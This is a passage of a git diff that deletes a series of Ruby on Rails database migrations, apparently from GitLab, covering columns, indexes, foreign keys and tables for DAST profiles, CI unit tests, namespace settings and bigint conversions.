-# frozen_string_literal: true
-
-class AddExcludedUrlsAndRequestHeadersToDastSiteProfiles < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in 20210311022012_add_text_limits_to_dast_site_profiles
- def change
- add_column :dast_site_profiles, :excluded_urls, :text, array: true, default: [], null: false
- add_column :dast_site_profiles, :auth_enabled, :boolean, default: false, null: false
- add_column :dast_site_profiles, :auth_url, :text
- add_column :dast_site_profiles, :auth_username_field, :text
- add_column :dast_site_profiles, :auth_password_field, :text
- add_column :dast_site_profiles, :auth_username, :text
- end
- # rubocop:enable Migration/AddLimitToTextColumns
-end
diff --git a/db/migrate/20210302103851_add_deployed_deployment_id_index_to_project_pages_metadata.rb b/db/migrate/20210302103851_add_deployed_deployment_id_index_to_project_pages_metadata.rb
deleted file mode 100644
index e10e9a912cc..00000000000
--- a/db/migrate/20210302103851_add_deployed_deployment_id_index_to_project_pages_metadata.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddDeployedDeploymentIdIndexToProjectPagesMetadata < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_on_pages_metadata_not_migrated'
-
- def up
- add_concurrent_index :project_pages_metadata, :project_id, where: "deployed = TRUE AND pages_deployment_id is NULL", name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :project_pages_metadata, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210302155904_remove_index_for_security_orchestration_policy.rb b/db/migrate/20210302155904_remove_index_for_security_orchestration_policy.rb
deleted file mode 100644
index 5d2594f2b9e..00000000000
--- a/db/migrate/20210302155904_remove_index_for_security_orchestration_policy.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveIndexForSecurityOrchestrationPolicy < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_sop_configs_on_security_policy_management_project_id'
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index_by_name(:security_orchestration_policy_configurations, INDEX_NAME)
- end
-
- def down
- add_concurrent_index(:security_orchestration_policy_configurations, :security_policy_management_project_id, name: INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210302160544_add_index_to_security_orchestration_policy.rb b/db/migrate/20210302160544_add_index_to_security_orchestration_policy.rb
deleted file mode 100644
index 4750e2bdb79..00000000000
--- a/db/migrate/20210302160544_add_index_to_security_orchestration_policy.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToSecurityOrchestrationPolicy < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX = 'index_sop_configurations_project_id_policy_project_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :security_orchestration_policy_configurations, [:security_policy_management_project_id, :project_id], name: INDEX
- end
-
- def down
- remove_concurrent_index_by_name :security_orchestration_policy_configurations, INDEX
- end
-end
diff --git a/db/migrate/20210302212623_rename_vuln_fingerprints_indexes.rb b/db/migrate/20210302212623_rename_vuln_fingerprints_indexes.rb
deleted file mode 100644
index 0f431fbeda5..00000000000
--- a/db/migrate/20210302212623_rename_vuln_fingerprints_indexes.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-class RenameVulnFingerprintsIndexes < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- FINGERPRINT_IDX = :idx_vuln_fingerprints_on_occurrences_id_and_fingerprint
- FINGERPRINT_IDX_RENAMED = :idx_vuln_fingerprints_on_occurrences_id_and_fingerprint_sha256
- UNIQ_IDX = :idx_vuln_fingerprints_uniqueness
- UNIQ_IDX_RENAMED = :idx_vuln_fingerprints_uniqueness_fingerprint_sha256
-
- disable_ddl_transaction!
-
- def up
- # These `unless` checks are necessary for re-running the migrations multiple times
- unless index_exists_by_name?(:vulnerability_finding_fingerprints, FINGERPRINT_IDX_RENAMED)
- rename_index :vulnerability_finding_fingerprints, FINGERPRINT_IDX, FINGERPRINT_IDX_RENAMED
- end
-
- unless index_exists_by_name?(:vulnerability_finding_fingerprints, UNIQ_IDX_RENAMED)
- rename_index :vulnerability_finding_fingerprints, UNIQ_IDX, UNIQ_IDX_RENAMED
- end
- end
-
- def down
- unless index_exists_by_name?(:vulnerability_finding_fingerprints, FINGERPRINT_IDX)
- rename_index :vulnerability_finding_fingerprints, FINGERPRINT_IDX_RENAMED, FINGERPRINT_IDX
- end
-
- unless index_exists_by_name?(:vulnerability_finding_fingerprints, UNIQ_IDX)
- rename_index :vulnerability_finding_fingerprints, UNIQ_IDX_RENAMED, UNIQ_IDX
- end
- end
-end
diff --git a/db/migrate/20210303053341_add_last_edited_at_and_last_edited_by_id_to_notes.rb b/db/migrate/20210303053341_add_last_edited_at_and_last_edited_by_id_to_notes.rb
deleted file mode 100644
index b6f4da202fa..00000000000
--- a/db/migrate/20210303053341_add_last_edited_at_and_last_edited_by_id_to_notes.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddLastEditedAtAndLastEditedByIdToNotes < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- with_lock_retries do
- add_column :notes, :last_edited_at, :datetime_with_timezone
- end
- end
-
- def down
- with_lock_retries do
- remove_column :notes, :last_edited_at
- end
- end
-end
diff --git a/db/migrate/20210303091651_add_index_to_environments_tier.rb b/db/migrate/20210303091651_add_index_to_environments_tier.rb
deleted file mode 100644
index 0ec876945d9..00000000000
--- a/db/migrate/20210303091651_add_index_to_environments_tier.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToEnvironmentsTier < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_environments_on_project_id_and_tier'
-
- DOWNTIME = false
-
- def up
- add_concurrent_index :environments, [:project_id, :tier], where: 'tier IS NOT NULL', name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index :environments, :state, name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210303165201_add_index_for_succeeded_deployments.rb b/db/migrate/20210303165201_add_index_for_succeeded_deployments.rb
deleted file mode 100644
index 1ae5b36d2f2..00000000000
--- a/db/migrate/20210303165201_add_index_for_succeeded_deployments.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexForSucceededDeployments < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_deployments_on_environment_id_status_and_finished_at'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index(:deployments, %i[environment_id status finished_at], name: INDEX_NAME)
- end
-
- def down
- remove_concurrent_index_by_name(:deployments, INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210303165301_add_not_null_constraint_to_cluster_token_name.rb b/db/migrate/20210303165301_add_not_null_constraint_to_cluster_token_name.rb
deleted file mode 100644
index 5fc8970b8f9..00000000000
--- a/db/migrate/20210303165301_add_not_null_constraint_to_cluster_token_name.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddNotNullConstraintToClusterTokenName < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- # This will add the `NOT NULL` constraint WITHOUT validating it
- add_not_null_constraint :cluster_agent_tokens, :name, validate: false
- end
-
- def down
- remove_not_null_constraint :cluster_agent_tokens, :name
- end
-end
diff --git a/db/migrate/20210303193544_add_concurrent_fields_to_bulk_imports_trackers.rb b/db/migrate/20210303193544_add_concurrent_fields_to_bulk_imports_trackers.rb
deleted file mode 100644
index a2d3d6daf09..00000000000
--- a/db/migrate/20210303193544_add_concurrent_fields_to_bulk_imports_trackers.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class AddConcurrentFieldsToBulkImportsTrackers < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- # rubocop:disable Migration/AddLimitToTextColumns
- # rubocop:disable Rails/NotNullColumn
- def up
- add_column :bulk_import_trackers, :jid, :text
- add_column :bulk_import_trackers, :stage, :smallint, default: 0, null: false
- add_column :bulk_import_trackers, :status, :smallint, default: 0, null: false
- end
- # rubocop:enable Migration/AddLimitToTextColumns
- # rubocop:enable Rails/NotNullColumn
-
- def down
- remove_column :bulk_import_trackers, :jid, :text
- remove_column :bulk_import_trackers, :stage, :smallint
- remove_column :bulk_import_trackers, :status, :smallint
- end
-end
diff --git a/db/migrate/20210303193605_add_text_limits_to_bulk_imports_trackers_jid_and_pipeline_name.rb b/db/migrate/20210303193605_add_text_limits_to_bulk_imports_trackers_jid_and_pipeline_name.rb
deleted file mode 100644
index 7686dd0343b..00000000000
--- a/db/migrate/20210303193605_add_text_limits_to_bulk_imports_trackers_jid_and_pipeline_name.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitsToBulkImportsTrackersJidAndPipelineName < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :bulk_import_trackers, :jid, 255
- end
-
- def down
- remove_text_limit :bulk_import_trackers, :jid
- end
-end
diff --git a/db/migrate/20210305002016_update_terraform_states_locked_by_user_id_foreign_key.rb b/db/migrate/20210305002016_update_terraform_states_locked_by_user_id_foreign_key.rb
deleted file mode 100644
index aa4a4e9c928..00000000000
--- a/db/migrate/20210305002016_update_terraform_states_locked_by_user_id_foreign_key.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateTerraformStatesLockedByUserIdForeignKey < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- OLD_FOREIGN_KEY = 'fk_rails_558901b030'
- NEW_FOREIGN_KEY = 'fk_558901b030'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :terraform_states, :users,
- column: :locked_by_user_id, on_delete: :nullify, name: NEW_FOREIGN_KEY
-
- with_lock_retries do
- remove_foreign_key :terraform_states, :users, name: OLD_FOREIGN_KEY
- end
- end
-
- def down
- add_concurrent_foreign_key :terraform_states, :users,
- column: :locked_by_user_id, on_delete: nil, name: OLD_FOREIGN_KEY
-
- with_lock_retries do
- remove_foreign_key :terraform_states, :users, name: NEW_FOREIGN_KEY
- end
- end
-end
diff --git a/db/migrate/20210305013509_add_text_limit_to_group_ci_variables_environment_scope.rb b/db/migrate/20210305013509_add_text_limit_to_group_ci_variables_environment_scope.rb
deleted file mode 100644
index f5fa073b954..00000000000
--- a/db/migrate/20210305013509_add_text_limit_to_group_ci_variables_environment_scope.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitToGroupCiVariablesEnvironmentScope < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :ci_group_variables, :environment_scope, 255
- end
-
- def down
- remove_text_limit :ci_group_variables, :environment_scope
- end
-end
diff --git a/db/migrate/20210305031822_create_dast_site_profile_variables.rb b/db/migrate/20210305031822_create_dast_site_profile_variables.rb
deleted file mode 100644
index 4b8fc982d86..00000000000
--- a/db/migrate/20210305031822_create_dast_site_profile_variables.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-class CreateDastSiteProfileVariables < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- table_comment = { owner: 'group::dynamic analysis', description: 'Secret variables used in DAST on-demand scans' }
-
- encrypted_value_constraint_name = check_constraint_name(:dast_site_profile_secret_variables, 'encrypted_value', 'max_length')
- encrypted_value_iv_constraint_name = check_constraint_name(:dast_site_profile_secret_variables, 'encrypted_value_iv', 'max_length')
-
- create_table_with_constraints :dast_site_profile_secret_variables, comment: Gitlab::Json.dump(table_comment) do |t|
- t.references :dast_site_profile, null: false, foreign_key: { on_delete: :cascade }, index: false
-
- t.timestamps_with_timezone
-
- t.integer :variable_type, null: false, default: 1, limit: 2
-
- t.text :key, null: false
- t.binary :encrypted_value, null: false
- t.binary :encrypted_value_iv, null: false, unique: true
-
- t.index [:dast_site_profile_id, :key], unique: true, name: :index_site_profile_secret_variables_on_site_profile_id_and_key
-
- t.text_limit :key, 255
-
- # This does not currently have first-class support via create_table_with_constraints
- t.check_constraint encrypted_value_constraint_name, 'length(encrypted_value) <= 13352'
- t.check_constraint encrypted_value_iv_constraint_name, 'length(encrypted_value_iv) <= 17'
- end
- end
-
- def down
- drop_table :dast_site_profile_secret_variables
- end
-end
diff --git a/db/migrate/20210305145622_add_terraform_module_max_file_size_to_plan_limits.rb b/db/migrate/20210305145622_add_terraform_module_max_file_size_to_plan_limits.rb
deleted file mode 100644
index d2342a66549..00000000000
--- a/db/migrate/20210305145622_add_terraform_module_max_file_size_to_plan_limits.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddTerraformModuleMaxFileSizeToPlanLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :plan_limits, :terraform_module_max_file_size, :bigint, default: 1.gigabyte, null: false
- end
-end
diff --git a/db/migrate/20210305180331_create_ci_unit_tests.rb b/db/migrate/20210305180331_create_ci_unit_tests.rb
deleted file mode 100644
index 970834a025b..00000000000
--- a/db/migrate/20210305180331_create_ci_unit_tests.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class CreateCiUnitTests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- unless table_exists?(:ci_unit_tests)
- create_table :ci_unit_tests do |t|
- t.bigint :project_id, null: false
- t.text :key_hash, null: false
- t.text :name, null: false
- t.text :suite_name, null: false
-
- t.index [:project_id, :key_hash], unique: true
- # NOTE: FK for projects will be added on a separate migration as per guidelines
- end
- end
-
- add_text_limit :ci_unit_tests, :key_hash, 64
- add_text_limit :ci_unit_tests, :name, 255
- add_text_limit :ci_unit_tests, :suite_name, 255
- end
-
- def down
- drop_table :ci_unit_tests
- end
-end
diff --git a/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb b/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb
deleted file mode 100644
index 5e750d78a24..00000000000
--- a/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectsFkToCiUnitTests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :ci_unit_tests, :projects, column: :project_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :ci_unit_tests, column: :project_id
- end
- end
-end
diff --git a/db/migrate/20210305182855_create_ci_unit_test_failures.rb b/db/migrate/20210305182855_create_ci_unit_test_failures.rb
deleted file mode 100644
index b3f68cdba4a..00000000000
--- a/db/migrate/20210305182855_create_ci_unit_test_failures.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class CreateCiUnitTestFailures < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- create_table :ci_unit_test_failures do |t|
- t.datetime_with_timezone :failed_at, null: false
- t.bigint :unit_test_id, null: false
- t.bigint :build_id, null: false
-
- t.index [:unit_test_id, :failed_at, :build_id], name: 'index_unit_test_failures_unique_columns', unique: true, order: { failed_at: :desc }
- t.index :build_id
- # NOTE: Adding the index for failed_at now for later use when we do scheduled clean up
- t.index :failed_at, order: { failed_at: :desc }, name: 'index_unit_test_failures_failed_at'
- t.foreign_key :ci_unit_tests, column: :unit_test_id, on_delete: :cascade
- # NOTE: FK for ci_builds will be added on a separate migration as per guidelines
- end
- end
-
- def down
- drop_table :ci_unit_test_failures
- end
-end
diff --git a/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb b/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb
deleted file mode 100644
index 9cf75ba6059..00000000000
--- a/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddCiBuildsFkToCiUnitTestFailures < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :ci_unit_test_failures, :ci_builds, column: :build_id, on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :ci_unit_test_failures, column: :build_id
- end
- end
-end
diff --git a/db/migrate/20210306121300_partition_web_hook_logs.rb b/db/migrate/20210306121300_partition_web_hook_logs.rb
deleted file mode 100644
index ff35a19648e..00000000000
--- a/db/migrate/20210306121300_partition_web_hook_logs.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class PartitionWebHookLogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- include Gitlab::Database::PartitioningMigrationHelpers
-
- # Set this constant to true if this migration requires downtime.
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- partition_table_by_date :web_hook_logs, :created_at
- end
-
- def down
- drop_partitioned_table_for :web_hook_logs
- end
-end
diff --git a/db/migrate/20210308125742_add_info_column_into_security_scans_table.rb b/db/migrate/20210308125742_add_info_column_into_security_scans_table.rb
deleted file mode 100644
index d701fa98259..00000000000
--- a/db/migrate/20210308125742_add_info_column_into_security_scans_table.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddInfoColumnIntoSecurityScansTable < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :security_scans, :info, :jsonb, null: false, default: {}
- end
-end
diff --git a/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb b/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb
deleted file mode 100644
index 5b731b78117..00000000000
--- a/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class ChangeNamespaceSettingsDelayedProjectRemovalNull < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- change_column :namespace_settings, :delayed_project_removal, :boolean, null: true, default: nil
- end
-
- def down
- change_column_default :namespace_settings, :delayed_project_removal, false
- change_column_null :namespace_settings, :delayed_project_removal, false, false
- end
-end
diff --git a/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb b/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb
deleted file mode 100644
index e88f3e7ea0d..00000000000
--- a/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddLockDelayedProjectRemovalToNamespaceSettings < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :namespace_settings, :lock_delayed_project_removal, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb b/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb
deleted file mode 100644
index 1ccb25878e4..00000000000
--- a/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddDelayedProjectRemovalToApplicationSettings < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :application_settings, :delayed_project_removal, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb b/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb
deleted file mode 100644
index c63175493de..00000000000
--- a/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddLockDelayedProjectRemovalToApplicationSettings < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :application_settings, :lock_delayed_project_removal, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210308190413_change_batched_background_migrations_batch_class_name_default.rb b/db/migrate/20210308190413_change_batched_background_migrations_batch_class_name_default.rb
deleted file mode 100644
index f841c1e9bd5..00000000000
--- a/db/migrate/20210308190413_change_batched_background_migrations_batch_class_name_default.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class ChangeBatchedBackgroundMigrationsBatchClassNameDefault < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- change_column_default :batched_background_migrations, :batch_class_name,
- from: 'Gitlab::Database::BackgroundMigration::PrimaryKeyBatchingStrategy', to: 'PrimaryKeyBatchingStrategy'
- end
-end
diff --git a/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb b/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb
deleted file mode 100644
index a7b634596d2..00000000000
--- a/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddAdminModeToApplicationSetting < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :application_settings, :admin_mode, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210309181019_add_last_used_at_to_cluster_agent_token.rb b/db/migrate/20210309181019_add_last_used_at_to_cluster_agent_token.rb
deleted file mode 100644
index 2a29ab374e5..00000000000
--- a/db/migrate/20210309181019_add_last_used_at_to_cluster_agent_token.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddLastUsedAtToClusterAgentToken < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :cluster_agent_tokens, :last_used_at, :datetime_with_timezone
- end
-end
diff --git a/db/migrate/20210310000627_add_idx_vulnerability_occurrences_dedup.rb b/db/migrate/20210310000627_add_idx_vulnerability_occurrences_dedup.rb
deleted file mode 100644
index 5ffcc005225..00000000000
--- a/db/migrate/20210310000627_add_idx_vulnerability_occurrences_dedup.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-# See https://docs.gitlab.com/ee/development/migration_style_guide.html
-# for more information on how to write migrations for GitLab.
-
-class AddIdxVulnerabilityOccurrencesDedup < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- TABLE = :vulnerability_occurrences
- INDEX_NAME = 'index_vulnerability_occurrences_deduplication'
- COLUMNS = %i[project_id report_type project_fingerprint]
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index TABLE, COLUMNS, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index TABLE, COLUMNS, name: INDEX_NAME
- end
-end
diff --git a/db/migrate/20210310111009_add_settings_to_group_merge_request_approval_settings.rb b/db/migrate/20210310111009_add_settings_to_group_merge_request_approval_settings.rb
deleted file mode 100644
index 088f400efb9..00000000000
--- a/db/migrate/20210310111009_add_settings_to_group_merge_request_approval_settings.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class AddSettingsToGroupMergeRequestApprovalSettings < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- change_table(:group_merge_request_approval_settings, bulk: true) do |t|
- t.column :allow_committer_approval, :boolean, null: false, default: false
- t.column :allow_overrides_to_approver_list_per_merge_request, :boolean, null: false, default: false
- t.column :retain_approvals_on_push, :boolean, null: false, default: false
- t.column :require_password_to_approve, :boolean, null: false, default: false
- end
- end
-end
diff --git a/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb b/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb
deleted file mode 100644
index 7858449be14..00000000000
--- a/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitsToDastSiteProfiles < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- # Set this constant to true if this migration requires downtime.
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :dast_site_profiles, :auth_url, 1024
- add_text_limit :dast_site_profiles, :auth_username_field, 255
- add_text_limit :dast_site_profiles, :auth_password_field, 255
- add_text_limit :dast_site_profiles, :auth_username, 255
- end
-
- def down
- remove_text_limit :dast_site_profiles, :auth_username
- remove_text_limit :dast_site_profiles, :auth_password_field
- remove_text_limit :dast_site_profiles, :auth_username_field
- remove_text_limit :dast_site_profiles, :auth_url
- end
-end
diff --git a/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb b/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb
deleted file mode 100644
index 523010a4aea..00000000000
--- a/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class AddMetricsToBatchedBackgroundMigrationJobs < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- add_column :batched_background_migration_jobs, :metrics, :jsonb, null: false, default: {}
- end
-end
diff --git a/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb b/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb
deleted file mode 100644
index f5ff0816047..00000000000
--- a/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfEventsIdToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- # Initialize the conversion of events.id to bigint
- # Primary Key of the Events table
- initialize_conversion_of_integer_to_bigint :events, :id
- end
-
- def down
- trigger_name = rename_trigger_name(:events, :id, :id_convert_to_bigint)
-
- remove_rename_triggers :events, trigger_name
-
- remove_column :events, :id_convert_to_bigint
- end
-end
diff --git a/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb b/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb
deleted file mode 100644
index 651c9ed993d..00000000000
--- a/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfPushEventPayloadsEventIdToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- # Foreign key that references events.id
- # Also Primary key of the push_event_payloads table
- initialize_conversion_of_integer_to_bigint :push_event_payloads, :event_id, primary_key: :event_id
- end
-
- def down
- trigger_name = rename_trigger_name(:push_event_payloads, :event_id, :event_id_convert_to_bigint)
-
- remove_rename_triggers :push_event_payloads, trigger_name
-
- remove_column :push_event_payloads, :event_id_convert_to_bigint
- end
-end
diff --git a/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb b/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb
deleted file mode 100644
index 111486a17ab..00000000000
--- a/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class AddOwnerAndIdIndexOnActiveCiPipelineSchedules < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'index_ci_pipeline_schedules_on_owner_id_and_id_and_active'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_pipeline_schedules, [:owner_id, :id], where: "active = TRUE", name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :ci_pipeline_schedules, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb b/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb
deleted file mode 100644
index 89553a53084..00000000000
--- a/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class AddEnforcedGitCheckToSamlProvider < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- add_column :saml_providers, :git_check_enforced, :boolean, default: false, null: false
- end
-
- def down
- remove_column :saml_providers, :git_check_enforced
- end
-end
diff --git a/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb b/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb
deleted file mode 100644
index 1de9d87cf25..00000000000
--- a/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-class AddResourceAccessTokenCreationAllowedToNamespaceSettings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- add_column :namespace_settings, :resource_access_token_creation_allowed, :boolean, default: true, null: false
- end
- end
